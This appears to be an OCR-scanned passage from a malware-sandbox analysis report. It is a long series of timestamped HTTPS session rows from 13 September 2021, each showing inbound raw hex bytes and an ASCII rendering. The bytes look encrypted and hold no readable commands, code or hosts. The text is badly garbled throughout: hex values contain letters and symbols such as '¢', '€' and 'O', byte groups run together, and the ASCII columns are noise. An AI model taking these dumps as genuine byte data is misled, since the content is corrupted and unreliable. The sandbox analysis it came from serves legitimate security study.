d0 01 9f 6¢ 83 e8 fc 93 51 b8 ec c1 8d c5 c8 09 b3
Data Ascii: [xc$0+[zef1?gk"Htkde rQ."xs}[ F>!/&0";Q"' eP$6+> u)]MNR>.K7wTW'2"Gj7U2h-d<O9C *m,,|Q

2021-09-13 23:07:18 UTC 104 IN Data Raw: ac 3a e4 cf 7d 1b 3f 4f dd 87 9f ¢3 86 ac el 67 00 5f 1d d5 62 eb 1c d4 2b db el 4a 71 f2 58 9b c6 f5 9f ff ff fO
89 Oe 82 1d 8b cd e5 d9 c6 72 3d 38 b5 68 Oe 6d al f3 c7 7a 90 52 69 da e5 c5 1c 67 9d 23 07 be 29 d8 3b 7c 8a 36 11 49
ec 7a 04 55 e5 8a b3 6¢ 74 bd 43 8f 3f 12 93 23 3d 53 37 d7 bc 51 b0 cb 80 c3 ce e5 a5 d2 64 36 64 48 9c 7f 50 11 Ob 5b
ad bf 24 f1 €9 95 00 75 f0 81 €3 25 05 ac 0d a2 72 8f 11 ab e2 a7 d0 f9 01 30 3f fd 77 90 9a af b6 7a 67 11 9a 76 de 88 el
a2 04 4d 82 ec 70 6d 97 9c 5b 59 13 50 96 bc f2 ¢9 90 f6 10 62 57 1c 80 dd 01 cb a5 f9 ca 55 b8 a7 f8 93 6 37 c9 1c 5a
4a 99 el 63 27 7b 58 40 21 bb 6e €9 8 32 c5 d5 7e 84 3c e5 8d 10 03 90 5a 8b f0 1c bf cc 25 09 a4 8f be 55 48 22 05 b5
da 8b 95 09 03 10 83 70 d2 c7 8c a5 0f a5 bf e0
Data Ascii: :}?0g_b+JgXr=8hmzRig#);|61zUItC?#=S7Qd6dHP[$u%r0?wzgvMpm[YPbWU7ZJc'{X@!n2~<Z%UH"p

2021-09-13 23:07:18 UTC 105 IN Data Raw: 4f 48 d0 e4 91 7f 98 b7 ce ec b9 93 8f 48 b1 39 e3 b1 18 b4 52 Oe f1 2e d2 05 9d fb 20 10 a2 a7 d5 78 8a c7 6b
26 d8 b5 bb f9 bb 3e el 4b 23 98 b2 17 Oe 62 f1 5b 71 e8 43 68 df 62 0d 80 46 61 18 89 3e b9 12 1c 9e 90 30 2d Oc 8a 04
b5 09 3b aa 04 14 fc 47 72 f4 f9 4c 5e 74 f9 89 cb 45 0d 13 8c 59 4f 15 fa 9b 34 ¢3 4e b2 8d 58 23 cf 10 bf 56 0d d4 1d f8
ab 29 el ff 27 37 d8 e6 e0 c2 29 35 cb 15 c1 48 46 fe 6¢ 13 5e c3 fa b8 cf ab 4a 7c a4 e4 61 d5 c3 cc 92 cc 3¢ 7e a3 81 2¢
18 af 3e db c6 cd 42 60 ef cO c6 8c 89 40 89 9f 00 fb fe 4e a5 99 26 {7 8f 41 99 7e 6e 8d a3 e2 76 82 44 86 d7 61 56 75 df
3b 7ac0e2 81 b0 51 2c 14 bd cd a5 2c 5b 72 28 75 25 2d 76 0f 3d 90 fO €3 92 f5 4f 13 61 8d 71 69 1c 8b a4 66 8b 8 f5
c5e0 09 ee fb 86 21 41 dc 27 20 74 01 2d 76
Data Ascii: OHHIR. xk&>K#b[gChbFa>0-;GrLMEYO4NX#V)'7)5HFIN)|a<~,>B" @N&A~nvDaVu;zQ,,[r(u%-v=0agqif! A’ t-v

2021-09-13 23:07:18 UTC 107 IN Data Raw: ac 42 73 ad aa 93 cc be 2e af e7 €2 d7 e4 3b Oe b4 d8 70 3 6f a3 67 07 d5 04 5f 5b 02 ee ed Of 05 13 af 82 d3
fb bl 4f de 56 64 b9 59 f6 2c 15 dc be a0 c0 53 63 c6 de f6 42 48 2a 3 c2 f2 ea 59 b5 0d ed fc 3f 02 ba bb 08 94 d1 66 5e
5 0a 31 b5 9b 75 c0 58 83 48 eb 93 40 83 1a d8 9f d2 34 45 87 1d 67 77 2c 27 69 4a f6 33 49 33 a8 bc dd b4 60 Oc 70 15
el 14 9b d3 98 79 cf 48 99 a6 1e d1 76 e2 52 03 7c 48 cf Ob 0d e8 5 3b eb 60 9e 61 28 10 95 9d be 11 12 €5 ce al Oa c9
df 87 77 ae ¢5 55 6e 9c 13 d2 88 21 27 cf 03 09 84 a9 04 a9 e8 37 2a b9 42 ea 99 32 f3 95 ba 79 92 d3 24 15 5 f2 65 1b
5 10 74 5b e2 4d 0d 39 f2 5d €9 5¢ 79 4a 6f 7d f4 58 87 €0 c2 ac a4 d9 bc d3 06 dO ff eb 55 60 3¢ d1 90 67 74 10 9d 27
3a e4 26 f0 44 5f ec 68 4fec €9 a0 53 17 ae 46 19
Data Ascii: Bs.;pog_[OVdY,ScBH*Y?fAluXH@4Egw, 'iJ313 pyHVR|H; a(wUn!'7*B2y$et[M9]\yJo}XU <gt:&D_hOSF

2021-09-13 23:07:18 UTC 108 IN Data Raw: e5 a2 47 9f Oc 80 9c cf ca 01 2b e4 8c 62 7c c0 a4 08 59 ef 99 15 1f d3 ca 75 bb 9e 39 bd 51 3d ab 45 04 14 7d
c8 ba ec e5 1d 4b 5a 6d bc 84 b6 47 ec 21 63 77 10 3e d6 c1 35 ae 1f 86 54 5d 1d 02 ff 04 af 18 de 9d cf e9 4d ac cb e3
819058 a7 51 71 1e 53 5¢ 20 82 a6 38 ed 03 ea fc ¢5 e4 00 7a d1 d2 64 28 94 8d 3f d3 1b ba 6f d5 93 26 aa fd 5a 2e 13
7b 75 61 5 Oc be 18 60 22 fd f2 79 de 74 39 ad b7 60 da c3 03 9f 63 1b f9 64 d5 42 5a 5¢ 40 d2 98 2a 6¢ 81 7a 1f e0 e3 f9
04 59 fa 01 78 24 c9 83 dd 7d Oe 50 fb 69 57 e6 af 12 61 41 06 d2 9a 79 2d dc 62 75 b6 8b ec 19 da e8 6d 30 66 af 4d 35
€6 38 21 36 5c 38 a6 a4 aa ef ef 61 66 e4 b6 87 ch ee f0 29 6¢ db 98 06 d5 81 80 11 dd b5 aa b9 f7 09 a0 3c ¢3 20 de 4c
54 c5e5 le 5a 7f e6 79 e7 a8 db el 2f 25 bd 58 9b
Data Ascii: G+b|Yu9Q=E}KZmG!cw>5T]MXQqS\ 8zd(?0&Z.{ua "yt9 cdBZ\@*IzYx$}PiWaAy-bum0fM58!6\8af)I< LTZy/%X

2021-09-13 23:07:18 UTC 109 IN Data Raw: 68 83 53 69 87 5a 04 96 f0 15 7f 24 eb 60 07 ec a9 3f 9e d6 17 93 18 d2 78 17 7b 31 d5 84 cf 52 eb c9 77 38

57 b5 9 58 {7 93 de 27 52 6 8d 2e be 00 99 84 52 ca f0 55 dc 81 48 6¢ 33 8 cb 0a 98 2c 25 1c d9 7d 7b f5 64 bc da al
b8 98 5f 71 cc 9c d9 ed 68 7 7d 82 a5 7a 82 47 c3 df b3 43 83 8b b5 1c b4 ab 9f 5f 9d 00 50 63 b6 8¢ Le c5 90 29 38 56
4385 67 5¢ 69 ae 84 21 a5 ed ¢3 19 10 3f 10 26 f9 d9 5e 57 a0 fc 01 88 2a c6 c7 ef 67 78 a6 0a c6 25 9a a8 b9 69 de 8e
732 5284 €6 29 12 ad 50 9a 3 04 66 0d d4 9b 29 8 9d 6e 73 88 56 b1 83 f3 22 84 02 52 d2 c6 34 37 f2 9b 29 23 €0 8f
8afb 3d 57 0d c8 cd 6e 97 1 7a 7c 54 23 6a 35 52 24 bf 90 cb 8b d8 00 a7 1f a2 3a 88 5d bf 96 bf ba 89 b9 3c 3f 80 a8 e5
15 6d 1d e7 a0 e5 5a a4 78 32 21 64 cd d6 dd ef 04 a5

Data Ascii: hSiZ$ 2x{1RWBWX'R.RUHI3,%Hd_qh}zGC_Pc)8VCq\il?& W*gx%isZ)P>f)nsV"RA47)#=Wnz|T#5R$:]<?mZx2!d

2021-09-13 23:07:18 UTC 111 IN Data Raw: fd Ob 1f 45 75 b8 9d 65 79 b4 86 80 99 6e 4b 4b 7b 39 86 82 2f b2 05 6a 19 b1 c3 85 Oc 56 3f 11 28 be 98 7a
a0 81 al 23 e6 Oe 24 71 08 8b €0 26 4d b9 86 ca 7b 7d 2 60 10 07 ef 7c b2 56 68 9d a3 f8 8¢ 79 5f f1 ed 3f 18 1 ff 23 c7
d2 d4 7a 42 d6 bd 87 c7 2b c6 32 5 8f 4c de 2d 98 06 73 ca 80 6d 1c 18 e2 c9 58 7b 7a ed 71 6b a8 f9 57 4f 47 25 10 77
ae 9e b4 d4 24 16 7f d4 1e 58 9 06 Oc f3 95 97 83 89 7c 42 2c 03 5e 6e d9 69 77 2d 6¢ dO be f4 6d 2b €0 Of 3b 77 dO 46
ac 48 5b 05 1d 1e 85 a9 ca ed 31 36 74 47 a9 11 49 43 ec cc 24 da 9d 51 8 63 1d e4 be c0 d9 1e 1b 4b d9 20 50 b6 01
5b 51 db b9 45 €5 a5 58 7f 68 a0 69 2e c5 53 €2 6a 24 5a bf 24 57 06 4e 9 7 74 da €0 24 3¢ 62 22 69 ba 3e a3 c8 2¢ 6f
14 ¢4 57 39 7d 4a 9f b6 2e 15 b5 f0 61 24 b1 02 ee 88 bb
Data Ascii: EueynKK{9/[V2(Z#$q&M{} [Vhy_?24zB+2\L-smX{zqkWOGY%wSX|B, Aniw-Im+:wFH[16tGIC$QcK P[QEXhi.Sj
$Z$WNI$<b'i> 0W9}J.a$

2021-09-13 23:07:18 UTC 112 IN Data Raw: 94 4d a2 12 97 a2 dd b8 7d d4 5e 9c f6 22 78 c¢3 90 94 d0 a0 be 87 ca 6a 96 56 1f 12 cf 18 37 84 e7 4c a2 9a
€024 4e 8b 71 be ed 21 67 8c 63 e6 a5 2a 3b 1e ff b7 90 2a 05 8a 96 b0 08 7d a0 49 98 4a 13 7d 6b 76 49 72 12 37 20 df
0d 6d 16 87 08 02 2d 44 b9 84 13 41 18 5d 4d 2d 10 c6 4b d6 80 f9 43 Oc bf a2 25 a3 09 b3 72 93 0d b0 eb dd f2 58 d5 39
1f a6 53 a9 4d 44 6f a2 8c 64 92 c6 40 a0 fc 65 58 ee 16 4c 4c 72 e6 c2 49 90 fb ee 00 96 ce ce 00 3b 83 b2 f3 e7 92 49
2196 4c e0 f3 11 11 6f 14 7f 6d 39 ba 8¢ 8d 2c 39 e3 0d 60 aa 84 c6 b7 29 37 09 7e c2 39 72 1e Ob 54 cf e2 04 c9 a0 be
15 8e e6 f4 09 a7 ec e2 6e 59 bd 6a 54 e4 e2 a8 89 65 6f aa 19 51 4b c4 ae 6a 2¢ 79 b6 c1 5e 68 07 e5 db 6b 62 ee 2a 35
8 b0 b3 70 9e 4c b3 52 d1 87 4e c2 62 3f 40 fa 5f 90 7f
Data Ascii: M}'xjV7L$Ng!gc*;*}HI}kvIr7 m-DAJM-KC%rX9SMDod@eXLLrl;I'Lom9,97) 7~9rTnYjTeoQKj,y*hkb*5pLRNb?@_

2021-09-13 23:07:18 UTC 113 IN Data Raw: 32 1c 47 6e 1b 19 85 f5 96 Ob 98 66 7d 0a a5 f1 f7 70 33 5a {7 af d5 5e f1 c5 ba f3 fd 6a ad 5f d6 d2 f2 al 11 be
41 2b 62 e4 af 52 94 e6 b6 ab 55 08 9e d1 9d 63 3e 98 e2 e6 9c a4 ca 48 90 1b 27 3a 53 be 99 5b 89 03 11 33 47 aa c5
16 1b 12 22 63 78 2c 8b 7e c¢6 58 0d 73 58 d6 54 d1 35 18 cd 24 23 05 d8 18 21 cb 72 9a 6d 67 €0 3b fc 0a 90 34 5b 30
90 b4 59 b2 82 13 35 19 ad ee 15 b2 20 b6 6a c0 69 f8 02 f2 47 €9 59 13 c¢7 1b 56 95 99 f5 3e c0 5b ed bl Oe 1b 4e e5 6e
fd 3d fb 62 e4 b4 cO c6 9d d6 07 4d 45 40 de 74 bf df e5 78 e9 3b bb c0 18 b9 b3 5f 17 78 d1 6b 41 3f 2d 85 36 4d d7 1f 21
40 8d bc 1f ce ab 9b c0 6e 4b b2 5b 5d e4 e0 26 9e 8 d5 08 2c 67 f4 74 a5 79 69 7e 24 e3 73 49 43 af ca 4e f4 ab 39 23
29 38 68 fc 9a 5d 92 93 21 6d 46 5f b6 77 5e de 02 8e
Data Ascii: 2Gnf}p3Z~_A+bRUc>H":S[3G"cx,~XsXT5%#!rmg;4[0Y5 jiGYV>[Nn=bME@tx;_xkA?-6M!@nK[]&,gtyi~$s
ICN9#)8h]!mF_w"

2021-09-13 23:07:18 UTC 114 IN Data Raw: ec 11 f5 a7 €6 19 4e 63 1f f5 a3 ab 2f 46 79 bc e6 43 1e d2 23 07 f7 10 9c dd f3 68 df 08 09 a9 b8 74 df 74 Of 42
25 d6 4c 9e 73 a9 6b eb 39 fa 1b c3 67 8f 60 99 18 ae be 98 ac 07 e0 93 1a ea 18 98 46 58 7b db 25 34 de 55 ae 89 e6 4c
09 25 05 64 91 ed 8d af d8 fc fd 23 a3 64 f3 99 99 51 92 94 54 5b 0b 98 68 de 56 75 c0 a8 43 2f 9a ae fc 9d 5e 78 82 3d
e2 a6 e4 93 c¢85d 30 a5 el 51 b5 81 29 d8 4b 7a fd df b3 66 9b 77 49 30 6b 12 b3 6¢ ca 6f 30 b0 49 c4 e2 96 8f 04 20 76
17 6e 29 9d 6¢ 33 b2 91 92 eb aa 19 ec 35 57 dc 50 11 d2 4b 98 98 52 53 b4 d5 29 9a 91 78 f3 33 68 4f 21 9b ba 3e bf c8
86 0c 14 c4 83 f9 f0 16 6e 7 a3 15 ¢9 00 00 7c c3 b8 c9 eb 8d a2 b8 7 de 7c 52 e8 2e e5 ec 59 61 e2 ¢3 34 d5 51 dc 2¢
18 75 5f 2b f2 6f Oe 40 14 8e 05 5b 65 0d 70 15 2e
Data Ascii: Nc/FyC#httB%Lsk9g FX{%4UL%d#dQT[hVuC/"x=]0Q)KzfwlOkloOI vn)I35WPKRS)x3hO!>n||R.Ya4Q,u_+o
@lep.
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kBytes
Timestamp transferred Direction Data

2021-09-13 23:07:18 UTC 115 IN Data Raw: 26 95 3b 0d 69 3a ac d3 65 08 f8 20 13 bd d0 d7 4d 22 e7 52 54 15 df 5b c5 2¢ 23 f4 86 cd 57 d5 67 8c ba 00
31d5 73 cfa5 ef 9c 08 87 c5 al 89 e5 95 b2 2e 6b 6f 8b 94 61 c3 f3 52 73 05 95 cf Ob e5 46 33 ae 3a 3f ec cb €0 66 1b a3
b9 8f 38 19 a6 78 6b 9f ae 1b 93 df 47 4d 5a 95 5b 4e 6e 50 01 92 80 f5 f1 30 7b el 4b ea 63 c4 db 47 0d 18 69 6b 17 bc
Oc 93 c9 e5 9a 67 de 92 1c e8 20 6b c0 7f 63 ce bc 69 4c cd b5 79 df 51 76 49 b0 89 bb c6 35 f1 54 cd 94 06 ab ba 5a cc
6b ae b6 e8 05 16 13 40 fe 54 08 58 23 bd 1e 9f al 7b 6e a5 fe a3 19 e2 2 85 b5 cb 6d aa 8a 6a 4a 1b 9c 07 f9 c7 7b 1f 5e
a0 c3 3e 29 Oe af 82 ec d0 56 62 56 ae 48 e3 cb 48 40 c8 40 05 6e 15 49 dd b3 c2 86 da 08 e5 d6 61 c3 bb 87 a6 0b 8f 05
40 d6 8d f4 83 53 fb 9e 6 b2 f1 d7 58 61 8¢ 45 21
Data Ascii: &;i:e M"RT[,#Wg1ls.koaRsF3:?f8xkGMZ[NnPO{KcGikg kciLyQVISTZk@TX#{nmj}{Z>)VbVHH@ @nla@SXaE!

2021-09-13 23:07:18 UTC 116 IN Data Raw: f8 07 37 88 5a ed d5 58 a9 98 9e ec 7c ad 5b 15 65 7f 53 77 fe e6 57 c0 9a dd 92 85 80 43 Oe 60 d4 2a 4f 5¢c 2¢
ba 93 1d 15 07 e0 12 22 17 d9 24 29 d9 99 8b 89 18 5b e7 b0 f7 9e 34 76 49 8c 71 dd 55 bd be Oe ff ab e0 6f 60 Oc 85 ff
10 75 24 8c d5 af be f6 af 58 c7 b8 €9 eb 01 9d 72 c7 e2 a5 49 fc 93 4c e3 9f a9 57 68 5 f9 dc 80 23 f3 9b 23 Oe 21 bb cO
5 69 40 2e ed 38 6e f9 18 a5 85 43 dc Of 3e dd 5f 9c 2f c8 f2 6¢ 48 fd 56 dc 8e 13 43 24 b8 32 41 83 c9 30 da 7a 36 ca 6b
1d a7 eb dc 6e 90 85 78 7b 4b 23 ec 70 50 81 1a e8 f3 d7 01 b4 52 dO ee al 72 63 8b 6b 78 el 02 ae 9c 4b 93 79 09 14
7180 a9 66 25 2d b5 db bd 15 f0 53 d2 f9 ff 00 b2 b6 52 30 a0 80 59 ea 4d 71 bd f9 9f bd f2 59 d8 27 12 c7 78 5f 89 e4 6¢
52 c5c5 7a 52 0c b7 35 2d 45 47 2b 5d e0 9a 01
Data Ascii: 7ZX|[eSWWC*O\,"$)[4viqUo u$XrILWh##i@.8nC>_/IHVC$2A0z6knx{K#pPRrckxKyqf%-SROYMQqY'x_IRzR5-
EG+]

2021-09-13 23:07:18 UTC 118 IN Data Raw: 56 4f 3b ed e4 49 7c 21 5a c7 5d d1 d2 a9 70 Oe 65 0d 40 4e 74 b1 d7 60 bc 00 22 ¢7 16 65 21 ca c2 12 15 65
5d cc e5 bl 81 68 0f 2f 69 f4 7e 79 60 45 fe 9b 05 80 8f f6 41 1b e5 5a 4d aa ¢3 58 94 0d d9 2b 92 e2 ec al 3c f0 3d 5d el
8a f0 58 1b 9e 85 24 46 2b 7b 31 0a Oe 6¢ 52 €8 14 7a 3c f5 6d b2 db 27 1e 4b 1a 0d 2e e4 62 ba e8 8a 80 92 13 7b Oa 3d
62 5d 26 80 c4 d7 50 75 8¢ c8 06 55 49 1f 06 3b c6 f1 13 a7 al 44 57 2¢ 9b 39 75 a5 2b 56 38 df 7a 93 ed 75 20 da 90 cO
cb 12 2 2e 1b 97 49 db 31 ae 2a 42 ae ea 3b 77 d6 94 4c 72 b6 2a 42 33 2f 53 db a8 2c fd b5 8f 2c 01 89 6b 7d de 5a c1
80 a9 8292 75 4b 43 41 5¢c 42 e3 71 15 Oe a4 46 1b 4d a5 69 38 95 3c b2 4a 10 7e ea ea 47 90 a4 5f 85 21 08 2f 26 4f ba
4e c84b 71 7a ea 57 f7 52 f3 b5 1c 13 bb 22 85 44 ea
Data Ascii: VO;1|!Z]pe @Nt "e!e]h/i~y' EAZMX+<=]X$F+{1IRz<m'K.b{=b]&PuUl;DW,9u+V8zu .I11*B;wLr*B3/S, k}
ZUKCA\BgFMi8<J~G_!/&ONKgzWR"D

2021-09-13 23:07:18 UTC 119 IN Data Raw: c4 bf c8 e7 3f 95 8d 93 29 e0 4a e5 78 ef 75 10 e0 82 dd c1 fb 9e b8 37 87 c9 bf d3 0f 52 8b 7e 7c d1 €9 58 9d
6a 48 65 10 b5 4a 9b 68 15 53 6b 89 a2 61 1c b6 9b b9 5b Ob 7d 1f f8 64 8c 6e 00 eb 8a 97 6b 0f b3 7f b7 9c €9 d4 ae 47
€315 1810 2b 26 b1 b4 67 f1 €8 dd 1e bc 65 f4 6a 60 6¢ b7 b5 95 9b 8e 88 21 27 ae 57 bc f0 13 ad 6d 29 03 Oc 7d 75 9¢c
6147 1ladf 79 79 3d al e0 84 f5 b8 cb e4 5 64 ce le 1c c4 54 c5 4b b2 b0 d6 8a 9c 92 82 7d a8 82 11 b8 33 a4 ab 47 13
02 18 13 9f ef 4f 5d Ob 6f 13 ce 43 9b 1f 2c €9 d8 ff 13 16 cf a3 14 e0 d8 8b 45 34 25 95 90 b2 b2 61 f0 f9 ba f1 e6 74 c0
05 98 Oa 15 89 ea df 46 a0 8d 3d 1f 6a 94 ba bd 9e 99 40 9b af 39 db c4 3c 2e 10 38 f5 cc e7 ea fb 65 8¢ ab e4 a6 ca 9b
9a 38 5¢ d3 1a 0b bc 96 43 3d 7c 5¢c 0a 3a c2 Oe 18
Data Ascii: ?)Jxu7R~|XjHeJhSka[}dnkG+&gej ["Wm)}luaGyy=dTK}3GO]oC,E4%atF=j@9<.8e8\C=|\:

2021-09-13 23:07:18 UTC 120 IN Data Raw: 79 9d 85 33 41 ca d3 59 53 2b 41 ed 56 a7 51 fa f2 e2 83 42 3a 2b fe 68 03 10 30 39 5a 89 ba 15 fb a8 €0 6a fb
€3 05 d3 49 80 ea dd 5b 21 eb b7 94 d5 0f 55 29 71 56 9d 3b 1e 5c 13 d6 04 72 b8 fe cd 8 2d ef 3e 80 26 b5 71 fa c9 €6
2e 15 01 6¢ 1f 21 c2 dc 9e €0 e3 ¢8 97 01 df al 47 40 8¢ 9d e2 Oe dd b9 6¢ e8 04 6b 47 ¢6 05 8c ba c7 47 85 d8 9d 06 0d
59 51 43 39 ff bd da d4 Oe 8a 42 98 39 fd 9b 7b b1 40 19 08 2a 45 7c 4f 4e bd bf f3 ea 1a ae a0 3d 29 68 8e 15 00 a7 cd
4c d4 ff 7b 13 57 9c ¢1 ¢9 16 15 54 5¢ 40 ¢8 01 93 a4 3b b8 67 d0 3c d2 62 9d 4d al 94 52 ef Oe a8 90 5a 7e 7 Oe d9 85
9f ac ba 1c 60 15 16 71 81 a8 00 6¢ 18 5f f3 ff 5a 93 29 33 12 a1 92 54 €0 69 9a 9 c2 66 a7 38 Le 0d dc ef f7 9b 2c cf 5b
3e 74 39 66 77 c3 ef 71 4b e4 2 93 c4 26 89 d9 68
Data Ascii: y3AYS+AVQB:+h09ZjI[IU)qV;\I->&4.IG@IKGG YQCIBH@*E|ON=)hL{WT\@;g<bMRZ~ql_Z)3Tif8,[>t9fwqK&h

2021-09-13 23:07:18 UTC 121 IN Data Raw: 5b 11 29 d7 f5 12 4f 8f ec fO a8 bf Of 22 bb 98 05 3c ee aa f4 63 27 e6 88 27 58 ad 0d ab b2 23 ef 61 ad 58 92
6a 36 43 ca 9b 7a 07 af 1a 88 00 c3 1c 4e 6b d5 2f 81 da 6¢ 9c 6e 1c e8 59 ¢4 50 f0 67 2d Oe a0 85 42 8c ad e2 ae 48 e5
11 ff 27 cc 48 d1 24 91 4a 97 55 db 93 f2 d2 70 d8 f2 03 a2 d8 c7 de 02 75 f5 12 96 ¢5 7c 28 32 b5 de 37 0d 8d e4 96 48
76 3 97 c7 28 c3 fa Oe b4 dO le al ef bb 72 6e b7 5e 33 de 49 49 Oe cd 11 2b f6 d9 b0 e8 3d 87 cd 10 el 96 8e 92 23 dd
8e 51 03 89 2a 9a 6d 86 32 92 1f c9 al e9 dc fe 3a 01 2d f7 b8 92 94 89 d5 2b 53 80 b1 9e 7b 03 3c 52 ¢9 85 6a 6¢ 5e 31
0f b4 ba 29 c2 aa 67 c6 dc 5f 4f d9 64 ef 02 be e5 92 49 db 9a c0 1a eb 03 63 6d 14 41 54 94 1a 93 8¢ 9c bb 96 fd 18 a9 fa
4d 71 89 26 cd 98 3d 47 c4 35 04 20 fc f6 69 a4 25
Data Ascii: [)O"<c"X#aXj6CzNk/InYPg-BH'H$IUpu|(27Hv(rn"3lI+=#Q*m2:-+S{<RjI*1)g_OdIcmATMq&=G5 i%

2021-09-13 23:07:18 UTC 123 IN Data Raw: ec 90 ¢7 bd 02 al d5 83 35 44 al 2d 82 0a 63 65 e6 fO ce e4 be al 05 c9 d8 00 7f fa 4e 85 84 8d 28 30 Ob 78 f2
0f c1 31 6f 88 aa d9 ef 4d db 6a 0d bb 23 6d 3f 1f 2b bl ef a8 61 98 64 3f a6 71 17 1f 29 7e a3 5e c8 14 45 1e d9 83 73 bl
b2 5d 6e e8 e7 5a be c5 be 1a a4 fc 5b 4b 3b 1e b5 fd 8a 73 36 b8 8e 49 7c Ob 5¢ d5 1 Ob 25 cf 29 5a 3a 58 c5 9f 28 34 8f
b5 65 f6 39 e6 ae c8 5b 2f 9d 5d 02 92 31 a6 44 69 ff b0 12 1e 86 21 43 fa 65 6e 97 83 17 50 ff 7 a6 47 a0 95 68 €0 8d 90
26 9c 8c 4a 8c e8 df fe 32 68 ¢3 0f c1 3¢ f1 c1 d5 a3 63 4d 4e 2c 33 10 34 d2 e0 7c ad 8f 47 86 52 Oc 00 6e f6 90 6e 13 44
7 a6 59 75 29 3a 4b cb 23 97 80 c5 79 5a 6b fc 2a b5 c4 96 06 93 de 35 f9 04 3b 8d f5 9b 6a d1 ae 97 d2 98 fd dc cO 90
2c¢ b3 5f 11 ¢5 ¢4 75 3f 5e 59 3f 41 c1 ¢3
Data Ascii: 5D-ceN(0xLoMj#m?+ad?q)~"Es|nZ[K;s61|\%)Z:X(4e9[/]1Di'CenPGh&J2h<cMN,34|GRnnDYu):K#yZk*5;j, _u?
AY?A

2021-09-13 23:07:18 UTC 124 IN Data Raw: 9b €2 53 92 bd 14 88 3b 8a 59 4a 8d 7e 7c f2 25 31 20 c0 45 77 16 86 c9 2d 37 6e c2 a6 3a fa 9b 01 f3 a6 €9
4e c3 71 7d 5d 9f 48 e1 69 1d 4e c3 37 92 f2 5¢ 57 f3 4c 17 d6 00 07 2e d5 77 2f 88 94 5e b5 b9 49 31 39 b4 7b d6 28 c9
9c b2 65 c6 0a 94 3f 4f 53 b3 a0 4d 41 eb 72 9c 65 18 fe e8 63 12 1d 1a 27 c0 39 8e 82 5f b5 bl 64 aa 04 c6 7f 8f a2 16 fO
359c 2b 31 db 43 ¢3 09 13 9b al 4f 67 51 32 69 c2 66 b2 4f 78 34 2b 6e 20 56 77 eb 39 71 6d 22 e2 be 8d Ob a2 b6 d0 50
29351719 7b e8 fc f0 54 ¢8 99 b7 3e d5 74 e7 bc 1b d3 07 a6 Oe 9e aa a4 b8 12 04 8b f4 16 62 99 c1 41 01 04 36 50 8a
96 ee ab 7c ac f3 b2 a6 87 f9 c4 02 15 30 4b 8f 55 42 7c b7 d1 48 98 49 73 86 98 c4 d0 9d f6 05 dc 7a eb d7 61 c7 la af
da b2 73 ae 57 d7 f6 6f 51 35 62 32 78 f9 44 d3 6¢ 92
Data Ascii: S;YJ~|%1 Ew-7n:Ng}HIN7\WL.w/M19{(e?OSMArec'9_d5+1COgQ2ifOx4+n Vw9gm"P)5{T>tbA6P|OKUB|H
IszasWoQ5hb2xDI

2021-09-13 23:07:18 UTC 125 IN Data Raw: b2 ¢8 55 3¢ 92 49 3f 67 5b 2d ef e4 9a el 63 5e 86 99 da 46 aa 2c db 85 63 d5 39 96 91 6a 1b 52 8d 2f aa 2¢
b4 16 ff 20 22 9d 9f 7b 83 f3 40 75 0a 78 d5 af a6 6 ac 64 6b 00 ee 60 42 2e 33 b0 8d f4 87 f3 1b 16 bc 7e 2d 44 13 cl ce
96 f3 26 f4 17 7b a5 7e 7e 7a f2 6b 48 26 8f 7e 85 71 04 21 f9 87 06 c0 07 86 63 6¢ 2f ea 12 Oc 33 0a 98 e3 30 00 43 e6
50 bc Oc 67 cf 9c a6 55 36 47 27 97 23 95 9b 27 1e 8e 54 10 8d 8a 3b a2 b1 47 33 27 al 9c 56 35 96 6b 63 7d d5 9c 04 67
80 6b 76 55 98 2b 94 f0 4c fb 77 81 a8 ef 66 b6 41 fa 5d bl 61 5b 7d ed b0 b9 ba 8e da 01 76 Oc f2 38 0a al b7 44 7a 37
ab aa c2 ac 55 04 f0 19 99 6e 68 d9 0f 3c b3 53 2f 45 e1 85 ce c1 d6 d5 36 d1 94 74 92 6f 7d 8b ba d8 39 62 56 66 5f 78
8c 26 fa 3e c5 7a f4 62 57 e6 02 20 02 ad Oe 67 a0 9c
Data Ascii: U<I?g[-c"F,c9jR/, "{@uxdk’B.3~-D&{~~zkH&~q!cl/30CPgU6G'#T;G3'V5kc}gkvU+LwfA]a[}v8Dz7Unh
<S/E6to}9bVf_x&>zbW g
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kBytes
Timestamp transferred Direction Data

2021-09-13 23:07:18 UTC 127 IN Data Raw: 6e 65 fa 8e d4 b8 af a2 99 0b 66 36 47 1d 9b 8d fe aa af 74 19 1a f6 31 02 43 73 49 b9 85 61 c1 85 94 85 9c cf
43 54 c8 ad 48 7a af 5f 7e 46 9a 53 1a 9e 85 ca 93 d2 3a 40 49 6b 09 8b ef 51 b5 56 c6 6e 99 bb 94 9e 85 22 84 da 8a e3
fe 04 01 41 bf 64 ba 00 b8 bf ef 71 fb f4 5¢ 1d bl 5b a9 e2 a4 80 93 4a 25 4d 77 1b 25 c4 4c dc f3 75 29 7d ad a8 9b 59 4b
fc a3 cf32f33a90c9 13 7d b3 21 7e 6a 72 8e 2c 35 ef af 60 cf 77 4e 1e 03 38 a6 db d6 af bf 37 d1 b9 26 c8 44 ee e9 86
00 51 90 9b e3 98 d1 Oe 6f 87 8e 37 22 31 cb 5e 45 c3 74 a3 Oc a3 6a b8 6e ca 20 9f 95 3c bc af 78 25 4d 3a d3 db 30 47
01 63 e8 31 a5 af 86 85 91 68 1c 3d 09 ee b9 7a ae fd 57 b0 al ad c1 60 75 00 3f fc af dc af el 76 e3 61 7c 08 1a Oa f5 bc
1b 48 23 62 bf fb 8d 77 61 ee bd a8 34 48 d5
Data Ascii: nef6Gt1CslaCTHz_~FS:@1kQVn"Adg\[J%Mw%Lu)}YK2:}~jr,5'wN87&DQo7"1"Etjn <x%M:0Gclh=zW u?va
|H#bwadH

2021-09-13 23:07:18 UTC 128 IN Data Raw: 21 94 e2 f6 60 d8 96 c3 20 0d f8 6f 10 7b 13 06 87 cc 83 ea f6 04 81 10 66 f4 82 95 60 00 Oa 6e 89 6f {7 fb 94
f2 4c ad 7b €6 94 ee 66 35 b5 08 61 c5 18 dO b7 bc 84 f1 3f Oe 3b 44 da 03 b1 03 db a3 c1 ee 15 4a 2e 87 5b d8 84 74 2¢
d3 76 9c 49 al 9e 6b 30 50 e8 e7 c4 95 f3 ba c3 5e 69 26 68 39 81 f1 82 5a 77 97 ec f0 a9 al 37 f4 6f d9 70 a7 15 7d 08
9d bc 6d 47 cc 5e cd 6f 38 8b 59 cb 14 41 ba 59 cb 63 66 74 64 40 92 40 c3 27 00 ec cf 07 e2 bc 97 62 a0 fc 17 50 9d 6f
